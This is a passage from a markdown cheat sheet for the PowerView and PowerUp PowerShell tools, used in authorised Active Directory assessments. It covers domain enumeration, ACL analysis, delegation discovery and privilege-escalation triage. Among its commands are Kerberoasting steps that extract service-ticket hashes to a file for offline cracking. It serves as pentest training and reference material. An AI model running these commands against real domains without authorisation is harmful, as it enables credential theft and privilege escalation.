powerview-powerup.md (75997B)
1 --- 2 title: "PowerView and PowerUp Deep-Dive" 3 description: "Comprehensive PowerView domain-enumeration and PowerUp local Windows privilege-escalation reference, with read-only triage, validation, cleanup, and function indexes." 4 category: active-directory 5 subcategory: "Tooling & Recon" 6 tags: [active-directory, powerview, powerup, powershell, enumeration, privilege-escalation] 7 tools: [PowerView, PowerUp, PowerShell] 8 difficulty: advanced 9 updated: "2026-09-19" 10 source: "vault:ActiveDirectory/PowerView-PowerUp-Cheatsheet.md" 11 --- 12 # PowerView + PowerUp — Deep-Dive Cheat Sheet 13 14 > [!info] Two tools, two scopes 15 > **PowerView** inventories and, where authorised, modifies **Active Directory** through LDAP, .NET, WMI, and Windows APIs. **PowerUp** audits and validates **local Windows privilege-escalation misconfigurations**. A useful mental model is: PowerView answers *“what can this identity reach or control in the domain?”*; PowerUp answers *“what can this identity control on this host?”* 16 17 > [!warning] Authorised use only 18 > Several commands below alter users, groups, ACLs, services, files, or registry state. Use them only in a lab or an explicitly authorised assessment. Snapshot the original state, make one change at a time, verify it, and run the paired cleanup. Discovery commands can also generate LDAP, SMB, WMI, service-control, and security-event telemetry. 19 20 > [!note] Version pin 21 > Commands were checked against the copies bundled with this vault: [PowerView.ps1](/downloads/pentest-workflow/PowerView.ps1) ([SHA-256](/downloads/pentest-workflow/PowerView.ps1.sha256)) and [PowerUp.ps1](/downloads/pentest-workflow/PowerUp.ps1) ([SHA-256](/downloads/pentest-workflow/PowerUp.ps1.sha256)). These are the PowerSploit-style scripts, not Microsoft Graph PowerShell, Azure PowerShell, PowerView.py, SharpView, or PowerUpSQL. 22 > - `PowerView.ps1` SHA-256: `507e8666c239397561c58609f7ea569c9c49ddbb900cd260e7e42b02d03cfd87` 23 > - `PowerUp.ps1` SHA-256: `9d59d4c128570eb80c0e8d13e2185030f93d965278b203c91dd196b2e1d3cd22` 24 25 --- 26 27 ## Table of Contents 28 29 1. [Fast Start](#1-fast-start) 30 2. [Command Model and Common Parameters](#2-command-model-and-common-parameters) 31 3. [PowerView — Domain and Forest Topology](#3-powerview--domain-and-forest-topology) 32 4. [PowerView — Users, Computers, and Groups](#4-powerview--users-computers-and-groups) 33 5. [PowerView — Kerberos and Delegation](#5-powerview--kerberos-and-delegation) 34 6. [PowerView — ACL Analysis](#6-powerview--acl-analysis) 35 - [Fine-tune an ACL review](#66-fine-tune-an-acl-review) 36 - [Microsoft AD module: deleted objects and recovery](#67-microsoft-ad-module-deleted-objects-and-recovery) 37 7. [PowerView — GPOs, OUs, Sites, and Policy](#7-powerview--gpos-ous-sites-and-policy) 38 8. [PowerView — Sessions, Shares, Processes, and Local Admin](#8-powerview--sessions-shares-processes-and-local-admin) 39 9. [PowerView — Alternate Credentials and Impersonation](#9-powerview--alternate-credentials-and-impersonation) 40 10. [PowerView — Authorised Object Changes and Cleanup](#10-powerview--authorised-object-changes-and-cleanup) 41 11. [PowerView — Output, Filtering, and Export](#11-powerview--output-filtering-and-export) 42 12. [PowerUp — Audit and Triage](#12-powerup--audit-and-triage) 43 13. [PowerUp — Service Misconfigurations](#13-powerup--service-misconfigurations) 44 14. [PowerUp — DLL, PATH, Autorun, and Task Findings](#14-powerup--dll-path-autorun-and-task-findings) 45 15. [PowerUp — Credential and Installer Findings](#15-powerup--credential-and-installer-findings) 46 16. [PowerUp — Validation, Abuse Helpers, and Restoration](#16-powerup--validation-abuse-helpers-and-restoration) 47 17. [Worked Workflows](#17-worked-workflows) 48 18. [Troubleshooting](#18-troubleshooting) 49 19. [Function and Alias Index](#19-function-and-alias-index) 50 20. [One-Screen Quick Reference](#20-one-screen-quick-reference) 51 52 --- 53 54 ## 1. Fast Start 55 56 ### 1.1 Load the bundled scripts 57 58 Copy the scripts to an authorised Windows test host and load them into the **current** PowerShell process: 59 60 ```powershell 61 # Dot-source: functions remain available in the current scope 62 . .\PowerView.ps1 63 . .\PowerUp.ps1 64 65 # Confirm the expected functions loaded 66 Get-Command Get-DomainUser, Get-DomainComputer, Invoke-Kerberoast 67 Get-Command Invoke-PrivescAudit, Get-ModifiableService, Get-UnquotedService 68 ``` 69 70 `Import-Module .\PowerView.ps1` and `Import-Module .\PowerUp.ps1` can also work, but dot-sourcing is predictable for standalone `.ps1` files. 71 72 > [!tip] Preserve the evidence trail 73 > Before running a large query, start a transcript and create a dedicated output directory: 74 > ```powershell 75 > New-Item -ItemType Directory -Force C:\Temp\assessment | Out-Null 76 > Start-Transcript -Path C:\Temp\assessment\powershell-transcript.txt 77 > ``` 78 79 ### 1.2 Define reusable assessment values 80 81 ```powershell 82 $Domain = 'corp.local' 83 $DC = 'dc01.corp.local' 84 $Target = 'alice' 85 $Host1 = 'ws01.corp.local' 86 $Out = 'C:\Temp\assessment' 87 ``` 88 89 ### 1.3 First five commands 90 91 ```powershell 92 # Current domain and DCs 93 Get-Domain 94 Get-DomainController | Select-Object Name,IPAddress,SiteName,OperatingSystem 95 96 # High-value domain principals 97 Get-DomainUser -AdminCount | Select-Object samaccountname,description,memberof 98 Get-DomainGroupMember -Identity 'Domain Admins' -Recurse 99 100 # Local escalation audit 101 Invoke-PrivescAudit -Format List 102 ``` 103 104 ### 1.4 Read-only-first workflow 105 106 ```text 107 1. Establish identity and host context 108 2. Enumerate narrowly with explicit properties 109 3. Validate candidate access or misconfiguration 110 4. Record the original state 111 5. Make the smallest authorised change 112 6. Verify impact 113 7. Restore and verify the original state 114 ``` 115 116 --- 117 118 ## 2. Command Model and Common Parameters 119 120 ### 2.1 PowerView query pattern 121 122 Most domain functions follow the same shape: 123 124 ```powershell 125 Get-Domain<Object> ` 126 -Identity <name|DN|SID|GUID> ` 127 -Domain corp.local ` 128 -Server dc01.corp.local ` 129 -LDAPFilter '<ldap-filter>' ` 130 -SearchBase 'LDAP://OU=Servers,DC=corp,DC=local' ` 131 -Properties samaccountname,distinguishedname ` 132 -Credential $Cred 133 ``` 134 135 | Parameter | Use | 136 |---|---| 137 | `-Identity` | Find a named object by sAMAccountName, name, DN, SID, or GUID, depending on function | 138 | `-Domain` | Query another domain; use its DNS name | 139 | `-Server` | Pin queries to a DC/GC; useful for consistency and troubleshooting | 140 | `-LDAPFilter` | Add a raw LDAP filter without post-filtering every result locally | 141 | `-SearchBase` | Restrict scope to an OU, container, or LDAP path | 142 | `-SearchScope` | `Base`, `OneLevel`, or `Subtree` | 143 | `-Properties` | Request only useful attributes; reduces output and LDAP volume | 144 | `-ResultPageSize` | LDAP page size; bundled default is normally `200` | 145 | `-ServerTimeLimit` | Bound server-side query time | 146 | `-Tombstone` | Include deleted/tombstoned objects where supported | 147 | `-Credential` | Use a `PSCredential`; this is not pass-the-hash | 148 149 ### 2.2 Prefer server-side filters 150 151 ```powershell 152 # Better: DC returns only matching objects 153 Get-DomainUser -LDAPFilter '(description=*admin*)' -Properties samaccountname,description 154 155 # Noisier: retrieve all users, then filter locally 156 Get-DomainUser | Where-Object description -Like '*admin*' 157 ``` 158 159 ### 2.3 Useful LDAP syntax 160 161 | Meaning | Filter | 162 |---|---| 163 | Users | `(&(objectCategory=person)(objectClass=user))` | 164 | Computers | `(samAccountType=805306369)` | 165 | Groups | `(objectCategory=group)` | 166 | Attribute exists | `(servicePrincipalName=*)` | 167 | Exact value | `(samAccountName=alice)` | 168 | Wildcard | `(description=*password*)` | 169 | AND | `(&(objectClass=user)(adminCount=1))` | 170 | OR | `(|(samAccountName=alice)(samAccountName=bob))` | 171 | NOT | `(!(userAccountControl:1.2.840.113556.1.4.803:=2))` | 172 | Bit set | `(userAccountControl:1.2.840.113556.1.4.803:=4194304)` | 173 | Recursive memberOf | `(memberOf:1.2.840.113556.1.4.1941:=<group-DN>)` | 174 175 ### 2.4 Identity and name conversion 176 177 ```powershell 178 Resolve-IPAddress dc01.corp.local 179 ConvertTo-SID 'CORP\alice' 180 ConvertFrom-SID 'S-1-5-21-111111111-222222222-333333333-1105' 181 Convert-ADName 'CORP\alice' -OutputType Canonical 182 ConvertFrom-UACValue 4260352 183 Get-DomainSID -Domain corp.local 184 ``` 185 186 --- 187 188 ## 3. PowerView — Domain and Forest Topology 189 190 ### 3.1 Domain and controllers 191 192 ```powershell 193 Get-Domain 194 Get-Domain -Domain child.corp.local 195 196 Get-DomainController 197 Get-DomainController -Domain corp.local 198 Get-DomainController -Domain corp.local -Server dc01.corp.local 199 Get-DomainController | Format-Table Name,IPAddress,SiteName,OperatingSystem -AutoSize 200 ``` 201 202 ### 3.2 Forest, domains, global catalogs, and schema 203 204 ```powershell 205 Get-Forest 206 Get-Forest -Forest corp.local 207 Get-ForestDomain 208 Get-ForestGlobalCatalog 209 Get-ForestSchemaClass -ClassName user 210 ``` 211 212 ### 3.3 Trusts and foreign principals 213 214 ```powershell 215 # Current domain's trusts 216 Get-DomainTrust 217 218 # Query a specific domain or use alternative enumeration methods 219 Get-DomainTrust -Domain corp.local 220 Get-DomainTrust -Domain corp.local -API 221 Get-DomainTrust -Domain corp.local -NET 222 223 # Forest trusts and recursively mapped trust graph 224 Get-ForestTrust 225 Get-DomainTrustMapping 226 227 # Cross-domain membership indicators 228 Get-DomainForeignUser 229 Get-DomainForeignGroupMember 230 ``` 231 232 Interpret the direction from the queried domain's perspective and verify it before planning access: 233 234 | Property | Meaning | 235 |---|---| 236 | `SourceName` / queried domain | Domain whose trust object is being read | 237 | `TargetName` | Other side of the trust | 238 | `TrustDirection` | Inbound, outbound, or bidirectional | 239 | `TrustType` | Parent-child, external, forest, MIT, etc. | 240 | `TrustAttributes` | Transitivity, SID filtering, within-forest flags, and related controls | 241 242 ### 3.4 Sites, subnets, and DNS 243 244 ```powershell 245 Get-DomainSite | Select-Object name,distinguishedname 246 Get-DomainSubnet | Select-Object name,siteobject 247 Get-NetComputerSiteName -ComputerName ws01.corp.local 248 249 Get-DomainDNSZone 250 Get-DomainDNSRecord -ZoneName corp.local 251 Get-DomainDNSRecord -ZoneName corp.local | Where-Object name -Like 'dc01*' 252 ``` 253 254 --- 255 256 ## 4. PowerView — Users, Computers, and Groups 257 258 ### 4.1 Users 259 260 ```powershell 261 # One user, selected properties 262 Get-DomainUser -Identity alice -Properties samaccountname,displayname,description,memberof,pwdlastset,lastlogon 263 264 # Several identities 265 'alice','bob','svc_sql' | Get-DomainUser -Properties samaccountname,useraccountcontrol 266 267 # Privileged/protected accounts 268 Get-DomainUser -AdminCount -Properties samaccountname,admincount,memberof 269 270 # Enabled users with descriptions 271 Get-DomainUser -LDAPFilter '(&(objectCategory=person)(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2))(description=*))' ` 272 -Properties samaccountname,description 273 274 # Password and logon hygiene 275 Get-DomainUser -UACFilter DONT_EXPIRE_PASSWORD 276 Get-DomainUser -UACFilter PASSWD_NOTREQD 277 Get-DomainUser -UACFilter SMARTCARD_REQUIRED 278 Get-DomainUser -PreauthNotRequired 279 280 # Users with SPNs 281 Get-DomainUser -SPN -Properties samaccountname,serviceprincipalname,pwdlastset,lastlogon 282 283 # Recently changed account attributes 284 Get-DomainObjectAttributeHistory -Identity alice 285 Get-DomainObjectLinkedAttributeHistory -Identity 'Domain Admins' 286 ``` 287 288 > [!note] Date properties 289 > PowerView converts several LDAP timestamps for display, but not every property is guaranteed to be a native `DateTime`. Inspect the type before comparing: `$x.pwdlastset.GetType().FullName`. 290 291 ### 4.2 Computers 292 293 ```powershell 294 # Inventory 295 Get-DomainComputer -Properties dnshostname,operatingsystem,operatingsystemversion,lastlogondate 296 297 # Specific host or OS family 298 Get-DomainComputer -Identity ws01 299 Get-DomainComputer -OperatingSystem '*Server*' 300 Get-DomainComputer -OperatingSystem '*Windows 10*' 301 302 # Servers offering a specific SPN 303 Get-DomainComputer -SPN 'MSSQLSvc*' -Properties dnshostname,serviceprincipalname 304 305 # Delegation-related computer flags 306 Get-DomainComputer -Unconstrained -Properties dnshostname,useraccountcontrol 307 Get-DomainComputer -TrustedToAuth -Properties dnshostname,msds-allowedtodelegateto 308 309 # Print-spooler service check supported by this PowerView build 310 Get-DomainComputer -Printers -Properties dnshostname 311 312 # Stale computers: retrieve then compare locally 313 $Cutoff = (Get-Date).AddDays(-90) 314 Get-DomainComputer -Properties dnshostname,lastlogondate,pwdlastset | 315 Where-Object { $_.lastlogondate -and $_.lastlogondate -lt $Cutoff } 316 ``` 317 318 ### 4.3 Groups and membership 319 320 ```powershell 321 Get-DomainGroup 322 Get-DomainGroup -Identity 'Domain Admins' 323 Get-DomainGroup -AdminCount 324 325 # Direct and recursive membership 326 Get-DomainGroupMember -Identity 'Domain Admins' 327 Get-DomainGroupMember -Identity 'Domain Admins' -Recurse 328 329 # Resolve a user's group memberships from the user side 330 Get-DomainGroup -MemberIdentity alice 331 332 # Managed security groups and removed members 333 Get-DomainManagedSecurityGroup 334 Get-DomainGroupMemberDeleted -Identity 'Domain Admins' 335 ``` 336 337 ### 4.4 Generic object search 338 339 Use `Get-DomainObject` when a specialised function does not expose the object or property you need: 340 341 ```powershell 342 Get-DomainObject -Identity 'CN=AdminSDHolder,CN=System,DC=corp,DC=local' 343 Get-DomainObject -LDAPFilter '(msDS-AllowedToActOnBehalfOfOtherIdentity=*)' ` 344 -Properties samaccountname,msds-allowedtoactonbehalfofotheridentity 345 Get-DomainObject -SearchBase 'LDAP://CN=Configuration,DC=corp,DC=local' ` 346 -LDAPFilter '(objectClass=pKIEnrollmentService)' 347 ``` 348 349 ### 4.5 High-value hunting filters 350 351 ```powershell 352 # AS-REP roastable: DONT_REQ_PREAUTH (4194304) 353 Get-DomainUser -LDAPFilter '(userAccountControl:1.2.840.113556.1.4.803:=4194304)' ` 354 -Properties samaccountname,pwdlastset 355 356 # Unconstrained delegation: TRUSTED_FOR_DELEGATION (524288), excluding DC computer accounts if desired 357 Get-DomainComputer -LDAPFilter '(userAccountControl:1.2.840.113556.1.4.803:=524288)' ` 358 -Properties dnshostname,useraccountcontrol 359 360 # Resource-based constrained delegation configured 361 Get-DomainComputer -LDAPFilter '(msDS-AllowedToActOnBehalfOfOtherIdentity=*)' ` 362 -Properties dnshostname,msds-allowedtoactonbehalfofotheridentity 363 364 # Descriptions that may contain operational notes 365 Get-DomainObject -LDAPFilter '(|(description=*pass*)(info=*pass*))' ` 366 -Properties samaccountname,description,info 367 368 # Accounts protected by AdminSDHolder 369 Get-DomainObject -LDAPFilter '(adminCount=1)' -Properties samaccountname,objectclass,memberof 370 ``` 371 372 --- 373 374 ## 5. PowerView — Kerberos and Delegation 375 376 ### 5.1 Kerberoast candidates 377 378 ```powershell 379 # Enumerate first 380 Get-DomainUser -SPN -Properties samaccountname,serviceprincipalname,pwdlastset,lastlogon 381 382 # Exclude krbtgt and disabled users in a server-side filter 383 Get-DomainUser -LDAPFilter '(&(servicePrincipalName=*)(!(samAccountName=krbtgt))(!(userAccountControl:1.2.840.113556.1.4.803:=2)))' ` 384 -Properties samaccountname,serviceprincipalname,pwdlastset 385 ``` 386 387 ### 5.2 Request service tickets in an authorised password audit 388 389 ```powershell 390 # One account 391 Get-DomainUser -Identity svc_sql | Get-DomainSPNTicket -OutputFormat Hashcat 392 393 # Narrow set; write hashes directly 394 Get-DomainUser -Identity svc_sql,svc_web | 395 Get-DomainSPNTicket -OutputFormat Hashcat | 396 Select-Object -ExpandProperty Hash | 397 Set-Content C:\Temp\assessment\kerberoast.hashes 398 399 # Bundled helper over all matching domain users 400 Invoke-Kerberoast -OutputFormat Hashcat 401 ``` 402 403 | Output format | Typical consumer | 404 |---|---| 405 | `Hashcat` | Hashcat mode chosen from the returned etype/hash prefix | 406 | `John` | John the Ripper | 407 408 > [!warning] Telemetry 409 > Every requested service ticket can produce DC-side Kerberos service-ticket activity (commonly Event ID 4769). A PowerShell implementation is not inherently “stealthy.” Query a justified, narrow target set and record the test window. 410 411 ### 5.3 Delegation discovery 412 413 ```powershell 414 # Unconstrained delegation 415 Get-DomainComputer -Unconstrained -Properties dnshostname,useraccountcontrol 416 Get-DomainUser -LDAPFilter '(userAccountControl:1.2.840.113556.1.4.803:=524288)' ` 417 -Properties samaccountname,useraccountcontrol 418 419 # Protocol transition / constrained delegation 420 Get-DomainUser -TrustedToAuth -Properties samaccountname,msds-allowedtodelegateto 421 Get-DomainComputer -TrustedToAuth -Properties dnshostname,msds-allowedtodelegateto 422 423 # Any classic constrained-delegation target list 424 Get-DomainObject -LDAPFilter '(msDS-AllowedToDelegateTo=*)' ` 425 -Properties samaccountname,objectclass,msds-allowedtodelegateto 426 427 # RBCD attribute is set on the resource 428 Get-DomainObject -LDAPFilter '(msDS-AllowedToActOnBehalfOfOtherIdentity=*)' ` 429 -Properties samaccountname,msds-allowedtoactonbehalfofotheridentity 430 ``` 431 432 PowerView identifies the configuration. Use [BloodHound cheat sheet](/sheets/active-directory/bloodhound/) to model reachability and the dedicated delegation notes for a controlled end-to-end validation. 433 434 --- 435 436 ## 6. PowerView — ACL Analysis 437 438 ### 6.1 Read and resolve an object's DACL 439 440 ```powershell 441 # Resolve schema GUIDs to readable rights (slower than raw output) 442 Get-DomainObjectAcl -Identity alice -ResolveGUIDs 443 444 # Group DACL 445 Get-DomainObjectAcl -Identity 'Help Desk' -ResolveGUIDs 446 447 # Domain root DACL 448 $DomainDN = (Get-Domain).distinguishedname 449 Get-DomainObjectAcl -Identity $DomainDN -ResolveGUIDs 450 451 # Only password-reset or group-member rights 452 Get-DomainObjectAcl -Identity alice -ResolveGUIDs -RightsFilter ResetPassword 453 Get-DomainObjectAcl -Identity 'Domain Admins' -ResolveGUIDs -RightsFilter WriteMembers 454 ``` 455 456 ### 6.2 Resolve who an ACE belongs to 457 458 ```powershell 459 $TargetAcl = Get-DomainObjectAcl -Identity alice -ResolveGUIDs 460 $TargetAcl | ForEach-Object { 461 [pscustomobject]@{ 462 Principal = ConvertFrom-SID $_.SecurityIdentifier 463 Rights = $_.ActiveDirectoryRights 464 ObjectAce = $_.ObjectAceType 465 Inherited = $_.IsInherited 466 Type = $_.AceType 467 } 468 } | Format-Table -AutoSize 469 ``` 470 471 ### 6.3 Find interesting domain ACLs 472 473 ```powershell 474 # Broad discovery 475 Find-InterestingDomainAcl -ResolveGUIDs 476 477 # Focus on ACEs held by a principal SID 478 $MySid = ConvertTo-SID 'CORP\analyst' 479 Find-InterestingDomainAcl -ResolveGUIDs | 480 Where-Object { $_.SecurityIdentifier -eq $MySid } 481 482 # Investigate a particular object class or OU with SearchBase 483 Find-InterestingDomainAcl -ResolveGUIDs ` 484 -SearchBase 'LDAP://OU=Tier 0,DC=corp,DC=local' 485 486 # GPO-specific delegation 487 Get-GPODelegation 488 ``` 489 490 ### 6.4 Rights interpretation 491 492 | Right / edge | What it can imply | Safer validation | 493 |---|---|---| 494 | `GenericAll` | Broad object control | Confirm ACE scope, inheritance, and target class | 495 | `GenericWrite` | Write many non-protected properties | List the exact writable attribute before changing it | 496 | `WriteDacl` | Add/remove ACEs | Export the current DACL and use a reversible test ACE | 497 | `WriteOwner` | Take ownership, then potentially edit DACL | Record original owner; restore after test | 498 | `ExtendedRight` / `User-Force-Change-Password` | Reset target password | Use a disposable lab identity if possible | 499 | `WriteProperty` on group `member` | Change group membership | Add a test principal, verify, immediately remove | 500 | Replication extended rights | DCSync capability at domain root | Verify the two replication GUID ACEs; avoid pulling secrets unless required | 501 502 > [!danger] An ACE is context-dependent 503 > Check `AceType`, `IsInherited`, `InheritanceType`, `ObjectAceType`, `InheritedObjectAceType`, target class, deny ACEs, and token group membership. Seeing the text `GenericWrite` in one row is not by itself proof of an exploitable path. 504 505 ### 6.5 Find anomalous attributes 506 507 ```powershell 508 Find-DomainObjectPropertyOutlier -ClassName User 509 Find-DomainObjectPropertyOutlier -ClassName Group 510 Find-DomainObjectPropertyOutlier -ClassName Computer 511 ``` 512 513 ### 6.6 Fine-tune an ACL review 514 515 An ACL is a list of access-control entries (ACEs). Each ACE describes a permission rule for a principal, such as a user or group. `Get-DomainObjectAcl` normally reads the discretionary ACL (DACL), which contains allow and deny rules. Its output contains individual ACEs: several output rows can describe the permissions on one directory object. 516 517 The examples below use synthetic ACL rows in memory. They explain scope and filtering without connecting to a domain or changing permissions. 518 519 #### Read the pipeline in plain English 520 521 A pipeline containing `Get-DomainObjectAcl ... | ? { $_.SecurityIdentifier -like '*-1111' }` has two separate jobs: the function retrieves ACL entries, then PowerShell keeps entries whose trustee SID ends in `-1111`. The filter after the pipe acts on returned rows; it does not narrow the directory query itself. [Source](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/where-object?view=powershell-7.6) 522 523 - `|` passes output objects to the next command. 524 - `?` is shorthand for `Where-Object`. 525 - `$_` is the current row being tested. 526 - `SecurityIdentifier` is the trustee SID: the principal named in the permission rule. 527 - `ObjectDN` identifies the directory object whose permissions are being described. 528 - `ObjectSID`, when present, belongs to that directory object. It is a different field from the trustee SID; some directory objects have no SID. 529 - `-like '*-1111'` is a wildcard suffix comparison. `-eq` compares an exact value, while `-match` uses a regular expression. [Source](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_comparison_operators?view=powershell-7.6) 530 531 The final component of a domain SID is its relative identifier (RID). A suffix such as `1111` does not uniquely identify a principal across domains. For a permission review, use the complete SID from the account record supplied for that review. Filtering only a user's SID also omits ACEs assigned to their groups. 532 533 #### Choose the location and depth separately 534 535 A distinguished name (DN) identifies a directory object. For example, `CN=Example User,OU=Training,DC=example,DC=test` places an object named `Example User` inside the `Training` organisational unit in `example.test`. `CN` means common name, `OU` means organisational unit, and `DC` means domain component. Each component needs its `=`; `DCtest` is not a correctly formed `DC=test` component. 536 537 `-SearchBase` specifies where a query starts. `-SearchScope` specifies how much of that location it includes. [Source](https://learn.microsoft.com/en-us/windows/win32/ad/search-scope) 538 539 | Scope | Includes the starting object | Includes immediate children | Includes deeper descendants | 540 |---|---|---|---| 541 | `Base` | Yes | No | No | 542 | `OneLevel` | No | Yes | No | 543 | `Subtree` | Yes | Yes | Yes | 544 545 These scopes count directory objects, not ACE rows. A `Base` search can still yield many ACL entries for its one object. [Source](https://learn.microsoft.com/en-us/windows/win32/ad/search-scope) 546 547 For this fictional directory layout, a search base of `OU=Training,DC=example,DC=test` has the following reach: 548 549 ```text 550 OU=Training Base and Subtree 551 CN=Example User OneLevel and Subtree 552 OU=Archive OneLevel and Subtree 553 CN=Archived User Subtree only 554 ``` 555 556 The Configuration naming context holds forest configuration rather than the ordinary domain user and computer inventory. Choose the naming context that contains the objects being reviewed; the default domain search is not a substitute for selecting Configuration explicitly. Do not assume a child domain's DN is the forest Configuration DN. 557 558 #### Use full parameter names and inspect the loaded version 559 560 In the bundled `Get-DomainObjectAcl`, both `-SearchBase` and `-SearchScope` exist, so `-Search` is ambiguous. Use the complete parameter names in notes. The following commands inspect local function metadata and help; they do not execute an LDAP query: 561 562 ```powershell 563 Get-Command Get-DomainObjectAcl -Syntax 564 (Get-Command Get-DomainObjectAcl).Parameters.Keys | Sort-Object 565 Get-Help Get-DomainObjectAcl -Full 566 ``` 567 568 The bundled source defines these controls: 569 570 | Control | What it selects or changes | 571 |---|---| 572 | `-Identity` | Which directory object's ACL to read; it does not select the trustee inside an ACE | 573 | `-SearchBase` | Starting directory location | 574 | `-SearchScope` | Depth below that location; the bundled default is `Subtree` | 575 | `-LDAPFilter` | Directory objects matching LDAP attributes before their ACLs are processed | 576 | `-Server` | Domain controller used for the query | 577 | `-ResolveGUIDs` | Names for recognised schema/right GUIDs; it does not resolve trustee SIDs to account names | 578 | `-ResultPageSize` | Objects requested per LDAP page; it is not a total-result limit | 579 | `Where-Object` | Returned ACE rows that satisfy a local condition | 580 | `Select-Object` | Output fields to retain, or rows to display with `-First` | 581 582 `-LDAPFilter` takes LDAP expressions such as `(name=Example User)`. A PowerShell condition such as `{ $_.SecurityIdentifier -eq $PrincipalSid }` belongs in `Where-Object`. `SecurityIdentifier` is a field produced when PowerView parses an ACE, not a normal directory attribute that this LDAP filter can use to select trustees. [Source](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-powershell-1.0/ff730967(v=technet.10)) [Source](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/where-object?view=powershell-7.6) 583 584 The bundled ACL reader has no `-Properties` parameter. Select its output columns with `Select-Object`. Its `-RightsFilter` accepts only `All`, `ResetPassword`, and `WriteMembers`; these are implementation-specific GUID filters, not arbitrary permission names. Leave that option unset when reviewing the complete DACL. Check the loaded function before borrowing flags from another fork. 585 586 #### Practise filtering without a domain connection 587 588 This dataset is invented. The repeated `1200` suffix in two different domain SIDs demonstrates why an exact SID comparison matters. The allow and deny rows are separate rules, not a computed effective-access result. 589 590 ```powershell 591 $PrincipalSid = 'S-1-5-21-100-200-300-1200' 592 593 $SampleAces = @( 594 [pscustomobject]@{ 595 ObjectDN = 'CN=Example Group,OU=Training,DC=example,DC=test' 596 SecurityIdentifier = $PrincipalSid 597 ActiveDirectoryRights = 'ReadProperty' 598 AceType = 'AccessAllowed' 599 IsInherited = $false 600 } 601 [pscustomobject]@{ 602 ObjectDN = 'CN=Example User,OU=Training,DC=example,DC=test' 603 SecurityIdentifier = $PrincipalSid 604 ActiveDirectoryRights = 'ReadProperty' 605 AceType = 'AccessAllowed' 606 IsInherited = $true 607 } 608 [pscustomobject]@{ 609 ObjectDN = 'CN=Example User,OU=Training,DC=example,DC=test' 610 SecurityIdentifier = $PrincipalSid 611 ActiveDirectoryRights = 'ReadProperty' 612 AceType = 'AccessDenied' 613 IsInherited = $false 614 } 615 [pscustomobject]@{ 616 ObjectDN = 'CN=Example Group,OU=Training,DC=example,DC=test' 617 SecurityIdentifier = 'S-1-5-21-400-500-600-1200' 618 ActiveDirectoryRights = 'ListChildren' 619 AceType = 'AccessAllowed' 620 IsInherited = $false 621 } 622 ) 623 624 # A suffix comparison includes both fictional domains: four rows. 625 $SampleAces | 626 Where-Object { $_.SecurityIdentifier -like '*-1200' } 627 628 # An exact comparison keeps one principal: three rows. 629 $PrincipalAces = @( 630 $SampleAces | 631 Where-Object { [string]$_.SecurityIdentifier -eq $PrincipalSid } 632 ) 633 $PrincipalAces.Count 634 635 # Combine conditions to review that principal on one known object. 636 $ReviewedObjectDN = 'CN=Example User,OU=Training,DC=example,DC=test' 637 $PrincipalAces | 638 Where-Object { $_.ObjectDN -eq $ReviewedObjectDN } | 639 Format-List ObjectDN,SecurityIdentifier,ActiveDirectoryRights,AceType,IsInherited 640 641 # Separate explicit entries for comparison; inherited entries still matter. 642 $PrincipalAces | 643 Where-Object { $_.IsInherited -eq $false } | 644 Format-Table ObjectDN,AceType,IsInherited -Wrap 645 ``` 646 647 Keep `$PrincipalAces` as structured objects so you can inspect the same dataset repeatedly. Put `Format-Table` or `Format-List` at the end of a display pipeline; assigning formatted output back to the variable loses the original row structure. `Format-List` is useful when a long DN is cut off in a narrow terminal. 648 649 #### Interpret empty results and permission rows carefully 650 651 An empty filtered result means no returned row matched that condition. It does not prove the principal has no access. Review the unfiltered data already collected, the chosen naming context, the full trustee SID, and any collection errors. Missing permission data and an empty DACL are different findings. 652 653 - `IsInherited = False` identifies an explicit ACE. It does not mean the entry is suspicious; inherited ACEs can also grant or deny access. 654 - Inspect allow and deny entries together. Removing deny rows for display does not remove their effect. 655 - Effective access depends on group memberships, ACE scope, inheritance, object-specific restrictions, and the access check. A matching user SID alone is incomplete. 656 - In this bundled implementation, object-specific GUID fields come from raw ACEs and can appear as `ObjectAceType` and `InheritedObjectAceType`. Other wrappers can expose different names. Inspect an existing row with `Get-Member` and `Format-List *` before selecting fields. 657 - CSV imports contain text values. For a CSV export of these Boolean fields, compare `IsInherited` with `'False'` or `'True'`; `[bool]'False'` is true because it is a non-empty string. The synthetic dataset above uses actual Boolean values. [Source](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/import-csv?view=powershell-7.6) 658 659 ### 6.7 Microsoft AD module: deleted objects and recovery 660 661 `Get-ADObject`, `Restore-ADObject`, and `Get-ADUser` belong to Microsoft's `ActiveDirectory` PowerShell module. They are separate from PowerView's `Get-DomainObject` and `Get-DomainUser`. Loading `PowerView.ps1` does not install these Microsoft cmdlets. This section explains the supplied transcript and administrative recovery checks; it does not execute a restore. [Source](https://learn.microsoft.com/en-us/powershell/module/activedirectory/?view=windowsserver2025-ps) 662 663 #### Check which commands are available 664 665 Inspect the current PowerShell session's command metadata and help before borrowing parameters from a different module. These commands do not query or modify directory objects: 666 667 ```powershell 668 Get-Command Get-ADObject,Restore-ADObject,Get-ADUser -ErrorAction SilentlyContinue | 669 Select-Object Name,Source,CommandType 670 671 Get-Help Get-ADObject -Full 672 Get-Help Restore-ADObject -Full 673 Get-Help Get-ADUser -Full 674 ``` 675 676 The expected module source for these cmdlets is `ActiveDirectory`. If the commands are unavailable, use a management host where that module is installed; an Evil-WinRM prompt alone does not establish that the module is available. [Source](https://learn.microsoft.com/en-us/powershell/module/activedirectory/?view=windowsserver2025-ps) 677 678 #### Understand the deleted-object query 679 680 The supplied command is a read-only directory query: 681 682 ```powershell 683 Get-ADObject -ldapfilter "(&(isDeleted=TRUE))" -IncludeDeletedObjects 684 ``` 685 686 `Get-ADObject` retrieves directory objects of different classes, including users, groups, and organisational units. `-LDAPFilter` specifies which objects match. Here, `isDeleted=TRUE` asks for objects marked as deleted. `-IncludeDeletedObjects` allows deleted objects to be returned, which an ordinary query excludes. That switch alone does not mean “only deleted objects”; the filter supplies that restriction. [Source](https://learn.microsoft.com/en-us/powershell/module/activedirectory/get-adobject?view=windowsserver2025-ps) 687 688 The filter has one condition inside an AND group: `(&(isDeleted=TRUE))`. With only one condition, the outer AND is redundant; `(isDeleted=TRUE)` expresses the same test. An AND group becomes useful when combining conditions. LDAP filter text is different from a PowerShell `Where-Object` script block. 